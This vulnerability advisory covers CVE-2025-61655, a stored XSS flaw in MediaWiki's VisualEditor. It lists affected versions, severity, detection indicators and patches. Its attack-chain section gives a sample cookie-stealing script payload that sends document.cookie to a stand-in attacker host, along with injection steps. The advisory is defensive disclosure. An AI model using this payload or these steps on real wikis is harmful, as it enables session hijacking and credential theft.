CVE-2025-61655: 
Linux Debian vulnerability analysis and mitigation

CVE-2025-61655 is a stored Cross-Site Scripting (XSS) vulnerability in the Wikimedia Foundation's VisualEditor extension for MediaWiki. The flaw involves improper neutralization of input during web page generation, specifically within the files includes/ApiVisualEditorEdit.php, modules/ve-mw/init/targets/ve.Init.Mw.DesktopArticleTarget.js, and modules/ve-mw/ui/dialogs/ve.Ui.MWSaveDialog.js. It affects VisualEditor versions before 1.39.14, 1.43.0–1.43.3 (fixed in 1.43.4), and version 1.44.0 (fixed in 1.44.1). The vulnerability was published on February 3, 2026, and carries a CVSS v3.1 base score of 6.1 (Medium) (Red Hat CVE, Feedly).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The attack vector is network-based, requires no privileges, and has low attack complexity, but does require user interaction (a victim must view or interact with a crafted page). The flaw allows malicious content — specifically through system messages rendered in the VisualEditor save dialog — to be injected and stored, then executed in the context of other users' browsers when they interact with the affected editor interface. A technical write-up describing the vulnerability as "Stored XSS through system messages in VisualEditor" has been published (Infinitsec, Phabricator).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser context of other users visiting affected MediaWiki pages using VisualEditor. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of victims, and defacement of wiki content. The scope is changed (cross-site), with low confidentiality and low integrity impact, and no direct availability impact (Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-61655. The EPSS score is approximately 0.054%, indicating a low probability of exploitation in the near term. The vulnerability has not been added to the CISA Known Exploited Vulnerabilities (KEV) catalog. The exploit maturity is rated as "Unreported" in CVSS v4.0 scoring (Feedly).

1. Reconnaissance: Identify MediaWiki instances running VisualEditor versions before 1.39.14, 1.43.4, or 1.44.1 that allow user editing or have accessible system messages.
2. Craft malicious payload: Prepare a JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) designed to be injected via a system message or editor-rendered content.
3. Inject via VisualEditor: Use the VisualEditor interface (leveraging ApiVisualEditorEdit.php or the save dialog ve.Ui.MWSaveDialog.js) to submit content containing the XSS payload, exploiting insufficient input sanitization in the save workflow.
4. Trigger execution: When another user opens the affected article or page in VisualEditor, the stored payload is rendered and executed in their browser context via the vulnerable JavaScript modules.
5. Achieve objective: The attacker can steal session cookies, perform actions as the victim user, or further pivot within the MediaWiki environment (Infinitsec, Phabricator).

• Logs: Unexpected or anomalous API calls to ApiVisualEditorEdit.php containing HTML/JavaScript tags or encoded script content in edit payloads; MediaWiki edit logs showing unusual system message modifications.
• Network: Outbound requests from user browsers to unknown external domains shortly after loading VisualEditor-rendered pages; unusual cookie or credential exfiltration traffic.
• File System / Content: Wiki pages or system messages containing obfuscated or unexpected <script> tags, event handlers (e.g., onerror, onload), or JavaScript URIs within VisualEditor-saved content.
• Process/Application: JavaScript errors or unexpected redirects logged in browser console when accessing VisualEditor-enabled pages (Infinitsec).

Wikimedia Foundation has released patched versions of VisualEditor: 1.39.14, 1.43.4, and 1.44.1. Administrators should upgrade to the appropriate fixed version for their MediaWiki branch as soon as possible. As a temporary workaround, restricting edit access to trusted users or disabling VisualEditor on sensitive installations may reduce exposure. Debian LTS and stable security updates for MediaWiki (including this fix) have also been released (Debian LTS, Debian Security, Phabricator).

A technical blog post by a Wikimedia developer (bawolff) discussed the effectiveness of XSS protections in the context of this and related vulnerabilities (bawolff blog). Debian issued both LTS (DLA-4355-1) and stable (DSA-6085-1) security advisories for MediaWiki addressing this CVE. Mageia also released a security advisory (MGASA-2025-0260). Coverage has been limited to security advisory aggregators and Linux distribution security channels, with no significant social media discussion observed.